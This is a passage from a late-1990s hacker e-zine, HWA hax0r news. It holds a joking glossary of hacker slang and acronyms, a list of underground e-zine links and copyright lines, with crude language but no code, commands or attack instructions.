hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus,
Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck, where the fuck, when the fuck etc ..
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
A.11 NEW Underground E-Zines
~~~~~~~~~~~~~~~~~~~~~~~
InET.......................... http://www.warpedreality.com/inet
Hack In the Box............... http://www.thelimit.net/hitb
Quadcon....................... http://landfill.bit-net.com/~quadcon/quadcon-3.txt
DataZine...................... http://www.tdcore.com
Napalm........................ http://napalm.firest0rm.org/
Digital Defiance.............. http://www.hackers.cx
@HWA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
© 1998, 1999 (c) Cruciphux/HWA.hax0r.news <tm> (R) { w00t }
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
[45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]